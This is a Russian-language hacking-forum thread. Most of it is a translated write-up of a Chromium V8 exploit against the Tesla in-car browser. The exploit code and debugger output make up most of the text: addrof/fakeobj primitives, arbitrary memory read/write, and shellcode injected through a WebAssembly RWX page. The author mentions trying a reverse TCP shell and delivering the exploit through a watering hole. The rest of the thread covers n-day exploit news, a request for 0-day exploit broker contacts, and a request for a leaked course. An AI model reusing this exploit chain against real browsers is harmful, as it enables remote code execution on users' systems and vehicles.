}function fakeobj(addr) {
let vuln = [0.1]; // [1] Start with PACKED_DOUBLE_ELEMENTSfunction empty2() {}
function f2(nt) {
vuln.push(typeof(Reflect.construct(empty2, arguments, nt)) === Proxy ? 0.2 : addr); // [2] Reflect.construct calls the proxy, [4] Push addr as a raw double
for (var i = 0; i < 0x10000; i++) {};
}let p2 = new Proxy(Object, {
get: function() {
vuln[0] = {}; // [3] Convert to PACKED_ELEMENTS
return Object.prototype;
}
});function main2(o) {
for (var i = 0; i < 0x10000; i++) {};
f2(o);
}for (var i = 0; i < 0x10000; i++) { empty2(); }
main2(empty2);
main2(empty2);main2(p2);
return vuln[3]; // [5] Read out the object and return
}let leak_obj = {a: 1, b: 2};
let leak_addr = addrof(leak_obj);
let leak_fake = fakeobj(leak_addr);
if (leak_fake.a !== leak_obj.a || leak_fake.b !== leak_obj.b) {
print('Fake object does not match original, failed to set up fakeobj primitive!');
} else {
print('Fake object matches original!');Click to expand...
Bash:Copy to clipboard
$ ./out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/fakeobj.js
Fake object matches original!
$
И, конечно же, можно протестировать на реальной цели:
Примерно через час после успешного внедрения fakeobj Tesla сделала решительный шаг:
но
Похоже, что Tesla обновила свою сборку Chromium, но этого недостаточно, чтобы избежать этой ошибки. Чуть позже вышла версия 2020.12, в которой также содержалось 79.0.3945.130. Обратите внимание, что эта версия была впервые обнаружена Teslascope 13 марта 2020 года, а патч был выпущен 24 февраля с заметным освещением в СМИ.
Возможно, Tesla не считает браузер подходящей поверхностью для атак, или какой-то фактор (тяжелая настройка/интеграция Chromium в систему, длительные сроки выпуска прошивок) препятствует регулярному обновлению браузера.
На данный момент я решил пока оставаться на 2020.4.1.
Расширение до произвольного чтения/записи
Построение комбинации addrof/fakeobj на произвольное чтение/запись относительно просто: создайте поддельный ArrayBuffer, резервное хранилище которого указывает на структуру другого (реального) ArrayBuffer. Затем записывая в смещение поддельного ArrayBuffer, резервное хранилище реального ArrayBuffer может перемещаться произвольно. Оттуда первые два элемента реального ArrayBuffer обращаются к произвольному адресу.
Эта процедура требует небольшого изменения в addrof/fakeobj, поскольку в
текущей реализации каждая функция может быть вызвана только один раз. Обернув
их в new Function() и добавив счетчик к каждой внутренней функции, можно будет
запускать их произвольное количество раз:
var addrof_counter = 0;
var fakeobj_counter = 1000;function addrof(obj) {
addrof_counter += 1;
for (var i = 0; i < 100; i++) {
let x = new Function('leak_obj', `let vuln = [0.1]; \
function empty${addrof_counter}() {} \
function f${addrof_counter}(nt) { \
let a = vuln.pop(Reflect.construct(empty${addrof_counter}, arguments, nt)); \
for (var i = 0; i < 0x10000; i++) {}; \
return a; \
} \let p${addrof_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = leak_obj; \return Object.prototype; \
} \
}); \function main${addrof_counter}(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
return f${addrof_counter}(o); \
} \for (var i = 0; i < 0x10000; i++) {empty${addrof_counter}();} \
main${addrof_counter}(empty${addrof_counter}); \
main${addrof_counter}(empty${addrof_counter}); \let q = main${addrof_counter}(p${addrof_counter}); \
return Int64.from_double(q);`
)(obj);if (x !== 0x7ff8000000000000) {
return x;
}
}
}function fakeobj(addr) {
fakeobj_counter += 1;
return new Function('new_obj_addr', `let vuln = [0.1]; \
let empty${fakeobj_counter} = function() {} \let f${fakeobj_counter} = function(nt) { \
vuln.push(typeof(Reflect.construct(empty${fakeobj_counter}, arguments, nt)) === Proxy ? 0.2 : new_obj_addr); \
for (var i = 0; i < 0x10000; i++) {}; \
} \let p${fakeobj_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = {}; \
return Object.prototype; \
} \
}); \let main${fakeobj_counter} = function(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
f${fakeobj_counter}(o); \
} \for (var i = 0; i < 0x10000; i++) { empty${fakeobj_counter}(); } \
main${fakeobj_counter}(empty${fakeobj_counter}); \
main${fakeobj_counter}(empty${fakeobj_counter}); \main${fakeobj_counter}(p${fakeobj_counter}); \
return vuln[3];`
)(addr);
}Click to expand...
Затем необходимо создать поддельный ArrayBuffer. Для этого также потребуется создать карту, которая выглядит как карта ArrayBuffer. Поскольку у нас еще нет произвольного чтения/записи, эта поддельная карта является несколько рискованной, поскольку некоторые операции (включая сборку мусора!) могут привести к разыменованию недействительных указателей. После того, как чтение/запись на месте, поддельная карта ArrayBuffer должна быть изменена на реальную карту как можно быстрее.
С Uint32Array в качестве представления поддельного ArrayBuffer, fake_array_buffer_u32 [8] и [9] выстраиваются в линию с указателем резервного хранилища target_array_buffer. После установки им адреса для чтения или записи, другой Uint32Array поверх target_array_buffer выставляет адрес как accessor[0] и [1].
var addrof_counter = 0;
var fakeobj_counter = 1000;function addrof(obj) {
[...]
}function fakeobj(addr) {
[...]
}let target_array_buffer = new ArrayBuffer(0x200);
let fake_map = {
a: 0x3132, // Map root
b: new Int64('0x1900042417080808').to_double(), // flags
c: new Int64('0x00000000084003ff').to_double(), // flags 2
d: 0x4142, // prototype
e: 0x5152, // constructor_or_backpointer
f: 0x6162, // raw_transitions
g: 0, // instance_descriptors
h: 0x8182, // layout_descriptors
i: 0x9192, // dependent_code
};
let array_buffer_map = addrof(fake_map).add(0x18);let holder = {
a: array_buffer_map.to_double(), // Map pointer
b: 0, // Properties array (don't care)
c: 0, // Elements array (don't care)
d: new Int64(0x200).to_double(), // Array length
e: addrof(target_array_buffer).sub(1).to_double(), // Backing store (not tagged)
f: new Int64(0x2).to_double(), // Flags
g: new Int64(0).to_double(), // Embedder (can just be 0)
};let fake_pointer = addrof(holder).add(8*3);
let fake_array_buffer = fakeobj(fake_pointer.to_double());// Make 32-bit accessors
let fake_array_buffer_u32 = new Uint32Array(fake_array_buffer);memory = {
read64: function(addr) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
return new Int64(undefined, accessor[1], accessor[0]);
},write64: function(addr, value) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
accessor[0] = value.low;
accessor[1] = value.high;
},
};// Fix up the map of the fake object (mostly untested...)
let fake_array_buffer_ptr = addrof(fake_array_buffer).sub(1);
let target_array_buffer_ptr = addrof(target_array_buffer).sub(1);
memory.write64(fake_array_buffer_ptr, memory.read64(target_array_buffer_ptr));memory.read64(new Int64('0xFEEDFACEDEADBEEF'));
Click to expand...
Bash:Copy to clipboard
$ gdb ./out/x64.debug/d8
Reading symbols from ./out/x64.debug/d8...done.
warning: Could not find DWO CU obj/d8/d8.dwo(0x59baa2e3c76f6fbb) referenced by CU at offset 0xc0 [in module /home/ubuntu/v8/master/v8/out/x64.debug/d8]
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/arw.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 47307)]
[New Thread 0x7ffff266b700 (LWP 47308)]
[New Thread 0x7ffff1e6a700 (LWP 47309)]
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x00007ffff7712f07 in Builtins_KeyedLoadIC_Megamorphic () from /home/ubuntu/v8/master/v8/out/x64.debug/libv8.so
=> 0x00007ffff7712f07 <Builtins_KeyedLoadIC_Megamorphic+44487>: 45 8b 04 98 mov r8d,DWORD PTR [r8+rbx*4]
(gdb) i r r8
r8 0xfeedfacedeadbeef -77129852189294865
(gdb)
Дизассемблирование JIT-скомпилированной функции с сюрпризом
Теперь, когда мы можем произвольно читать и писать любой адрес, необходимо задать вопрос: что интересного для чтения и записи и как можно найти адреса?
В этой версии Chromium есть средства защиты от записи в исполняемую страницу JIT, но исполняемые страницы WebAssembly по-прежнему доступны для записи. Сначала нам нужно знать, на какой архитектуре работает цель, чтобы написать или переназначить шелл-код.
Поскольку у нас есть произвольное чтение, мы можем начать с JIT-компиляции функции и следования некоторым указателям:
[Previous exploit code here...]
let jit_function = function(x) {
let y = x * 2 + 15;
return Math.atan2(y, x);
}for (var i = 0; i < 10000; i++) { jit_function(i) }
for (var i = 0; i < 10000; i++) { jit_function(i) }
for (var i = 0; i < 10000; i++) { jit_function(i) }/*
- For amd64:
- native_code = addrof(jit_pointer).sub(1).add(0x40)
- reference_to_atan2 = native_code.add(0xBF).add(0x2)
*/let jit_function_ptr = addrof(jit_function).sub(1);
print("jit_function @" + jit_function_ptr);
let jit_code_obj = memory.read64(jit_function_ptr.add(0x30)).sub(1);
print("jit_code_obj @ " + jit_code_obj);
let native_code = jit_code_obj.add(0x40);
print("native code @ " + native_code);for (var i = 0; i < 128; i++) {
print(memory.read64(native_code.add(i*8)));
}Click to expand...
Bash:Copy to clipboard
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/dump_memory_test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 57032)]
[New Thread 0x7ffff266b700 (LWP 57033)]
[New Thread 0x7ffff1e6a700 (LWP 57034)]
jit_function @0x000027aeaf499758
jit_code_obj @ 0x000014aac9b47940
native code @ 0x000014aac9b47980
0x48fffffff91d8d48
0x0000ba481874d93b
0xba49000000360000
0x00007ffff76afcc0
0xe0598b48ccd2ff41
0xba490d74010f43f6
0x00007ffff7612480
[...]
И на реальной цели:
Подключив это к онлайн-дизассемблеру (помните о порядке байтов!) и играя с разными архитектурами, появляются некоторые инструкции x86_64, включая очевидный пролог функции:
Это было удивительно, так как я ожидал 32-битную ARM или AArch64! К счастью, это значительно упрощает оставшуюся часть эксплуатации, так как шелл-код можно протестировать в виртуальной машине.
Запуск шеллкода через WebAssembly
В качестве ярлыка я просто адаптировал код замены WebAssembly из сообщения в блоге Сайеда Фараза Абрара. Это потребовало лишь небольшой настройки:
1. Использование библиотеки Int64 вместо BigInt.
2. Адрес страницы RWX хранится в структуре экземпляра WebAssembly. Смещение в
структуре в этой версии Chromium отличается от того, которое использовалось в
задаче CTF сообщения в блоге.
Играя в отладчике и просматривая /proc /
[...previous exploit code...]
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
%DebugPrint(wasm_instance)Click to expand...
Bash:Copy to clipboard
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 80497)]
[New Thread 0x7ffff266b700 (LWP 80498)]
[New Thread 0x7ffff1e6a700 (LWP 80499)]
DebugPrint: 0x390fe46706f9: [WasmInstanceObject] in OldSpace
- map: 0x248f56ec92c1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x04174b0c8681 <Object map = 0x248f56ecc881>
- elements: 0x0b0b03940c09 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x04174b0d9b21 <Module map = 0x248f56ec8d21>
- exports_object: 0x04174b0d9da1 <Object map = 0x248f56ecc9c1>
- native_context: 0x390fe46418c9 <NativeContext[253]>
- memory_object: 0x390fe46706c9 <Memory map = 0x248f56ec9cc1>
- table 0: 0x04174b0d9d51 <Table map = 0x248f56ec95e1>
- imported_function_refs: 0x0b0b03940c09 <FixedArray[0]>
- managed_native_allocations: 0x04174b0d9cc9 <Foreign>
- memory_start: 0x7ffddc000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55555570fa00
- globals_start: (nil)
- imported_mutable_globals: 0x55555570fa20
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x0b0b03940c09 <FixedArray[0]> {}
0x248f56ec92c1: [Map]
- type: WASM_INSTANCE_OBJECT_TYPE
- instance size: 280
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0b0b039404b9 <undefined>
- prototype_validity cell: 0x38ed1cd00661 <Cell value= 1>
- instance descriptors (own) #0: 0x0b0b03940241 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x04174b0c8681 <Object map = 0x248f56ecc881>
- constructor: 0x390fe465df99 <JSFunction Instance (sfi = 0x390fe465df59)>
- dependent code: 0x0b0b039402a9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
warning: Could not find DWO CU obj/v8_libbase/platform-posix.dwo(0x367e2bf44dc6e6d4) referenced by CU at offset 0x3c0 [in module /home/ubuntu/v8/master/v8/out/x64.debug/libv8_libbase.so]
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
Пока это работает, в новом терминале:
Bash:Copy to clipboard
$ ps aux | grep d8
ubuntu 56932 0.0 3.1 362372 256892 pts/2 S+ Mar30 0:22 gdb -q ./out/x64.debug/d8
ubuntu 80496 9.9 0.7 10926352 62868 pts/2 tl 16:24 0:09 /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
ubuntu 80506 0.0 0.0 16304 1092 pts/3 S+ 16:25 0:00 grep --color=auto d8
$ cat /proc/80496/maps | grep rwxp
29f9a7b97000-29f9a7b98000 rwxp 00000000 00:00 0
И исследуя память WasmInstanceObject, адрес страницы RWX составляет 0x80 байтов в структуре:
(gdb) x/64gx 0x390fe46706f9-1
0x390fe46706f8: 0x0000248f56ec92c1 0x00000b0b03940c09
0x390fe4670708: 0x00000b0b03940c09 0x00007ffddc000000
0x390fe4670718: 0x0000000000010000 0x000000000000ffff
0x390fe4670728: 0x000055555564ca60 0x00000b0b03940c09
0x390fe4670738: 0x000055555570fa00 0x00000b0b039404b9
0x390fe4670748: 0x0000000000000000 0x0000000000000000
0x390fe4670758: 0x0000000000000000 0x0000000000000000
0x390fe4670768: 0x000055555570fa20 0x000055555564ca80
0x390fe4670778: 0x000029f9a7b97000 0x000004174b0d9b21
0x390fe4670788: 0x000004174b0d9da1 0x0000390fe46418c9
0x390fe4670798: 0x0000390fe46706c9 0x00000b0b039404b9
0x390fe46707a8: 0x00000b0b039404b9 0x00000b0b039404b9
0x390fe46707b8: 0x00000b0b039404b9 0x000004174b0d9d39
0x390fe46707c8: 0x000004174b0d9d89 0x000004174b0d9cc9
0x390fe46707d8: 0x00000b0b039404b9 0x000004174b0d9e39
0x390fe46707e8: 0x000055555564ca50 0x000055555570fa40
0x390fe46707f8: 0x000055555570fa60 0x000055555570fa80
0x390fe4670808: 0x000055555570faa0 0x00000b0b03945979
0x390fe4670818: 0x0000180701bc7941 0x0000390fe46706f9
0x390fe4670828: 0x0000000000000000 0x0000000000000000
0x390fe4670838: 0x0000000000000000 0x0000000000000000
0x390fe4670848: 0x0000000000000000 0x00000b0b03940979
0x390fe4670858: 0x0000390fe4670811 0x00000b0b03944949
0x390fe4670868: 0x00000b0b03942561 0x00000b0b039404b9
0x390fe4670878: 0x0000000000000000 0xffffffff00000000
0x390fe4670888: 0x000000000000008d 0x0000248f56ec45e1
0x390fe4670898: 0x00000b0b03940c09 0x00000b0b03940c09
0x390fe46708a8: 0x0000390fe4670851 0x0000390fe46418c9
0x390fe46708b8: 0x000038ed1cd006f1 0x0000180701bc7941
0x390fe46708c8: 0x00000b0b03940b59 0x0000000400000000
0x390fe46708d8: 0x0000000000000000 0x0000000100000000
0x390fe46708e8: 0x00000b0b03944a69 0x0000248f56ecc9c3Click to expand...
Как и ожидалось, на этой странице есть исполняемый код:
Bash:Copy to clipboard
(gdb) x/32i 0x000029f9a7b97000
warning: (Internal error: pc 0x7ffff7fe9f85 in read in CU, but not in symtab.)
warning: (Internal error: pc 0x7ffff7fe9f85 in read in CU, but not in symtab.)
0x29f9a7b97000: jmp 0x29f9a7b972c0
0x29f9a7b97005: int3
0x29f9a7b97006: int3
0x29f9a7b97007: int3
0x29f9a7b97008: int3
0x29f9a7b97009: int3
0x29f9a7b9700a: int3
0x29f9a7b9700b: int3
0x29f9a7b9700c: int3
0x29f9a7b9700d: int3
0x29f9a7b9700e: int3
0x29f9a7b9700f: int3
0x29f9a7b97010: int3
0x29f9a7b97011: int3
0x29f9a7b97012: int3
0x29f9a7b97013: int3
0x29f9a7b97014: int3
0x29f9a7b97015: int3
0x29f9a7b97016: int3
0x29f9a7b97017: int3
0x29f9a7b97018: int3
0x29f9a7b97019: int3
0x29f9a7b9701a: int3
0x29f9a7b9701b: int3
0x29f9a7b9701c: int3
0x29f9a7b9701d: int3
0x29f9a7b9701e: int3
0x29f9a7b9701f: int3
0x29f9a7b97020: int3
0x29f9a7b97021: int3
0x29f9a7b97022: int3
0x29f9a7b97023: int3
Похоже, есть много места для перезаписи пользовательским шелл-кодом. В качестве теста проще всего записать 0xCCCCCCCCCCCCCCCC в первые 8 байтов страницы, перезаписав переход и запустив точку останова (или несколько). Это продемонстрирует контроль исполнения.
[...previous exploit code...]
let f = wasm_instance.exports.main;let wasm_instance_addr = addrof(wasm_instance).sub(1);
let rwx_addr = memory.read64(wasm_instance_addr.add(0x80)); // Chrome 79.0.3945.88
print('rwx_addr: ' + rwx_addr);memory.write64(rwx_addr, new Int64('0xCCCCCCCCCCCCCCCC'));
print('Press enter to run WASM code');
readline();
f();Click to expand...
Bash:Copy to clipboard
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 80589)]
[New Thread 0x7ffff266b700 (LWP 80590)]
[New Thread 0x7ffff1e6a700 (LWP 80591)]
rwx_addr: 0x000038a828a15000
Press enter to run WASM code
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x000038a828a15001 in ?? ()
=> 0x000038a828a15001: cc int3
На этом этапе я загрузил обычный шелл-код оболочки обратного TCP, который отлично работал в d8, но не дал результата в Tesla. К сожалению, для этого проекта похоже, что они включили песочницу в свою версию Chromium. Наиболее полезные системные вызовы блокируются seccomp-bpf, особенно все, что связано с сетью или файловой системой.
Тем не менее, все еще можно провести некоторую разведку, в первую очередь UID, в котором запущен браузер, и используемую версию ядра.
Простые системные вызовы, такие как getuid, которые возвращают одно целое значение, просты, поскольку механизм Javascript преобразует возвращаемое значение в регистре RAX в SMI и выставляет его как возвращаемое значение функции WebAssembly.
Модуль Pwntools полезен для написания шелл-кода и создания массива Javascript для копирования в память RWX:
Python:Copy to clipboard
import binascii
from pwn import *
def chunks(lst, n):
"""Yield successive n-sized chunks from lst."""
for i in range(0, len(lst), n):
yield lst[i:i + n]
shellcode = """
/* Prologue */
push rbp
mov rbp, rsp
push 0xa
sub rsp, 0x10
/* call getuid() */
push SYS_getuid /* 0x66 */
pop rax
syscall
/* Epilogue */
_epilogue:
mov rsp, rbp
pop rbp
ret
"""
bytecode = asm(shellcode, arch='amd64')
print('let sc = [')
for chunk in chunks(bytecode, 8):
if len(chunk) != 8:
chunk += '\x90' * (8 - len(chunk))
print("\t '{}',".format(hex(u64(chunk))))
print('];')
Python:Copy to clipboard
$ python getuid.py
let sc = [
'0x83480a6ae5894855',
'0x48050f58666a10ec',
'0x90909090c35dec89',
];
$
Code:Copy to clipboard
[...previous exploit code...]
function run_shellcode(sc) {
sc.forEach(function(item, index) {
memory.write64(rwx_addr.add(index*0x8), new Int64(item));
});
let res = f();
return res;
}
function getuid() {
let sc = [
'0x83480a6ae5894855',
'0x48050f58666a10ec',
'0x90909090c35dec89',
];
return run_shellcode(sc);
}
log('uid: ' + getuid());
На этом этапе также было бы полезно знать версию ядра Linux, поскольку прямая атака на ядро может быть способом вырваться из песочницы. uname - это немного более сложный системный вызов, поскольку его аргументом является указателем на кусок доступной для записи памяти.
К счастью, в известном месте есть целая доступная для записи страница. Классический метод шелл-кода, позволяющий получить адрес буфера после того, как шелл-код завершает головоломку:
/* Prologue */
push rbp
mov rbp, rsp
push 0xa
sub rsp, 0x10jmp buf
begin:
pop rdi /* Pop the return address from the call /
add rdi, 0x10 / Fix up the address a little bit */
or rdi, 0xfffffffffffffff0push SYS_uname /* 0x3f /
/ rdi = Address of struct utsname */
pop rax
syscall/* Epilogue */
_epilogue:
mov rsp, rbp
pop rbp
retbuf:
call begin /* Place the address after this instruction onto the stack */Click to expand...
И, наконец, информация о ядре из uname(2) доступна и может быть отображена пользователю:
function intarray_to_string(arr) {
var str = "";
for (var i = 0; i < arr.length; i++) {
if (arr _=== 0) {
break;
}
str += String.fromCharCode(arr _);
}
return str;
}function uname() {
let sc = [
'0x83480a6ae5894855',
'0xc783485f13eb10ec',
'0x583f6af0e7834810',
'0xe8c35dec8948050f',
'0x90909090ffffffe8',
];
run_shellcode(sc);let output_addr = rwx_addr.add(0x30);
let output_buf = new ArrayBuffer(2048);
let float_view = new Float64Array(output_buf);
let int8_view = new Uint8Array(output_buf);for (var i = 0; i < 48; i++) {
float_view _= memory.read64(output_addr.add(i*8)).to_double();
}// Note: Offsets found experimentally, may vary on other systems
let sysname = intarray_to_string(int8_view.slice(0, 0x40));
let nodename = intarray_to_string(int8_view.slice(0x41, 0x41+0x40));
let release = intarray_to_string(int8_view.slice(0x82, 0x82+0x40));
let version = intarray_to_string(int8_view.slice(0xc3, 0xc3+0x46));
let machine = intarray_to_string(int8_view.slice(0x104, 0x104+0x40));return {
"sysname": sysname,
"nodename": nodename,
"release": release,
"version": version,
"machine": machine,
};
}___Click to expand...
Наконец, полный код эксплойта для обзора с использованием доступных системных
вызовов такой:
___<!doctype html>
TeslaPwn TeslaPwn
______
Click to expand...
______Дальнейшие улучшения
Хотя это действующий эксплойт, приводящий к выполнению произвольного кода в процессе рендеринга, это далеко не полный проект. Наиболее очевидное место для продолжения исследования: побег из песочницы.
Побег из песочницы выходили за рамки обучения Ret2, и в самом конце курса оставалось лишь несколько слайдов, чтобы дать немного контекста. Эти слайды в основном были посвящены использованию расширенных функций безопасности Windows для усиления защиты песочницы, а также обсуждались оставшиеся поверхности для атак.
Учитывая, что целью является система Linux, кажется вероятным, что песочница достаточно надежна, полагаясь на seccomp-bpf для фильтрации системных вызовов (среди прочего). Кажется вероятным, что большинство уязвимостей ядра Linux, которые могут привести к эскалации привилегий, не будут доступны из песочницы, если только на очень ограниченной оставшейся поверхности атаки не существует уязвимая ошибка.
Мой подход к решению этой проблемы - найти соответствующие предыдущие эксплойты побега из песочницы (например,из Google Project Zero) и CTF, чтобы быстро изучить и отработать типы уязвимостей, которые существуют в IPC между процессами рендеринга и браузера. Если повезет, появится следующая статья, связывающая этот эксплойт с выходом из песочницы, что приведет к интересному реальному эффекту, например, открытию «frunk».
Наконец, эта уязвимость, вероятно, не квалифицируется как критическая, поскольку требует взаимодействия с пользователем для использования автомобильного браузера для посещения страницы, содержащей эксплойт. Возможно, его можно было бы развернуть на веб-сайтах, связанных с Tesla, как водяную атаку, но это кажется несколько надуманным.
Мобильное приложение Tesla может побудить автомобиль начать навигацию к месту во время его следующей поездки; возможно, есть способ использовать API для отправки произвольного URL-адреса, который затем загружается в браузер.
Заключение
Общий таймлайн:
- 24 февраля 2020 г: Exodus Intelligence публикует сообщение в блоге.
- 27 февраля 2020 г: мне стало известно об этом сообщении.
- Примерно 1 марта 2020 г: я начинаю экспериментировать с пробной версией
Exodus и быстро понимаю, что она не работает с целевой версией.
- 6 марта 2020 г: я выполняю процедуру git bisect, определяю проблему и
реализую addrof.
- 7 марта 2020 г: я реализую fakeobj, тратя почти весь день, затем добиваюсь
произвольного чтения/записи.
- 8 марта 2020 г: я выполняю произвольный шелл-код и понимаю, что песочница
уже в игре.
- 11 марта 2020 г: я завершаю создание доступных системных вызовов.
- Начало апреля 2021 года: Tesla обновляет Chromium 88.0.4324.150, устраняя
уязвимость.
Критические даты - с вечера 6 марта (пятница) до 8 марта, что в сумме составляет примерно 24 часа активной работы в течение этих выходных.______
**Автор перевода: yashechka
Переведено специально для xss.is
Источник: **leethax0.rs/2021/04/ElectricChrome/
ЭТО ЕДИНЫЙ ПОСТ ПРО N-Day эксплойты, Patch Diffing, Binary Diffing, Patch Gapping, AEG топик время от времени будет модерироваться и пополняться новыми материалами и информацией!
В настоящее время эксплойты для известных уязвимостей обычно появляются в
течение одного-трех дней после выпуска патча.
Для реализации n-day эксплойтов обычно используют один из следующих методов.
Binary Diffing – это процесс сравнения двух исполняемых файлов с целью
найти между ними сходства и различия.
Patch Diffing – это частный случай Binary Diffing, когда файл с
уязвимостью сравнивается с исправленным файлом (файл с патчем).
Patch Gapping — это практика выявления\эксплуатации уязвимостей в ПО до
момента выхода\установки патчей безопасности.
AEG (Automatic Exploit Generation) означает автоматическую генерацию эксплойтов. Это область исследований в области компьютерной безопасности, направленная на разработку инструментов, которые могут автоматически обнаруживать уязвимости в программном обеспечении, а затем создавать эксплойты для этих уязвимостей.
1-Day эксплойты - анализ патчей безопасности Microsoft
v1.0
1-Day эксплойты - анализ патчей безопасности Microsoft
v2.0
История одного патча Apple - Patch
Diffing
Patch-gapping Google
Chrome
Анализ уязвимости Citrix
CVE-2022-27518
Охота за n-day уязвимостями без аутентификации в маршрутизаторах
Asus
Назад в будущее. Подборка материалов по генераторам эксплойтов
(AEG)
Стало известно, что исправленная на прошлой неделе в Firefox уязвимость CVE-2024-9680 могла использоваться против пользователей браузера Tor.
Напомним, что проблема была обнаружена специалистом компании ESET Дэмиеном Шеффером (Damien Schaeffer) и представляла собой проблему use-after-free в Animation timelines. Animation timelines — это часть Firefox Web Animations API, и этот механизм отвечает за управление анимацией и ее синхронизацию на веб-страницах.
Разработчики выпустили экстренный патчи и предупредили, что благодаря этой уязвимости злоумышленник мог добиться выполнения произвольного кода в процессе работы с контентом. Тогда не сообщалось никакой более детальной информации ни о самом баге, ни об атаках, в которых он использовался.
Проблему исправили в следующих версиях браузера: Firefox 131.0.2, Firefox ESR 115.16.1 и Firefox ESR 128.3.1.
Как теперь рассказали в Mozilla, специалисты ESET передали им «боевой» эксплоит для CVE-2024-9680, применявшийся хакерами в реальных атаках.
«Образец, присланный нам ESET, содержал полную цепочку эксплоитов, которая позволяла удаленно выполнить код на компьютере пользователя», — пишут разработчики.
В Mozilla собрали команду, чтобы провести реверс-инжиниринг эксплоита и разобраться в том, как он работает, после чего в течение одного дня подготовили экстренный патч. Представители организации подчеркивают, что продолжат анализ эксплоита, чтобы разработать дополнительные меры защиты для Firefox.
Практически одновременно с этим разработчики Tor сообщили, что, по информации Mozilla, эта уязвимость активно применялась в атаках на пользователей браузера Tor.
«Используя эту уязвимость, злоумышленник мог получить контроль над браузером Tor, но, скорее всего, не смог бы деанонимизировать вас в Tails», — гласило заявление.
Однако позже сообщение в блоге проекта было отредактировано, и представители
Tor Project пояснили, что у них нет доказательств того, что пользователи
браузера Tor были умышлено атакованы с помощью CVE-2024-9680.
Тем не менее, баг действительно затрагивал браузер Tor, в основе которого
лежит Firefox, и разработчики подчеркивают, что проблема устранена в составе
Tor Browser версий 13.5.7, 13.5.8 (для Android) и 14.0a9.
мнение? rce при обработке css, то есть работала в торе с noscript
Доброго времени суток. Собственно решил провести не большой опрос. Так вот сейчас самое время сказать, проголосовать, рассказать, чего вам было бы интересно увидеть в данном разделе. Шутки в стиле 0-day не принимаются. Буду выдавать варны вплоть до бана.
Кто нибудь знает контакты надежных и проверенных брокеров 0day сплоитов где
можно прикупить экспы под винду / linux ?
Тему не создаю в коммерции намеренно, потому что никто из них не напишет.
Всем привет!
Ищу слитый курс EXP-301 (он же osed) от offensive security, если такой есть в
природе, а то слитых oscp, oswe и osep полно, а его нет. Понимаю, что вся
инфа, представленная в этом курсе есть в паблике, но всё равно ради интереса
хочется глянуть, что и как там.
Сообщение модератора: вынесено из -https://xss.is/threads/117445/
Если бы это было возможно хром эксплойт не стоил бы 500к
Click to expand...
Разве не имеет ни какой раздницы: эксплоит и FCP?
500к стоит фул чейин + персистенс - а это несколько другое, поправь меня Вивер
если я путаю
по моему код он исполнит но в песке браузера, а дальше он вылезти и вправду не
сможет
кому верить вот?
Click to expand...
Weaver-у.
Инсталов не будет. Ремоут контрола тоже при условии что байпаснуть или
экспейпить песок не можете.
sources:
**
![bishopfox.com](/proxy.php?image=https%3A%2F%2Fassets.bishopfox.com%2Fprod-1437%2FImages%2Fchannels%2Fblog%2Ffeatured- images%2F_1200x630_crop_center-center_82_none%2FBishop-Fox-Blog- CVE-2024-21762.jpg%3Fmtime%3D1709241205&hash=34d945c7730712b66cef20fdccd7ae14&return_error=1)
](https://bishopfox.com/blog/cve-2024-21762-vulnerability-scanner-for- fortigate-firewalls)
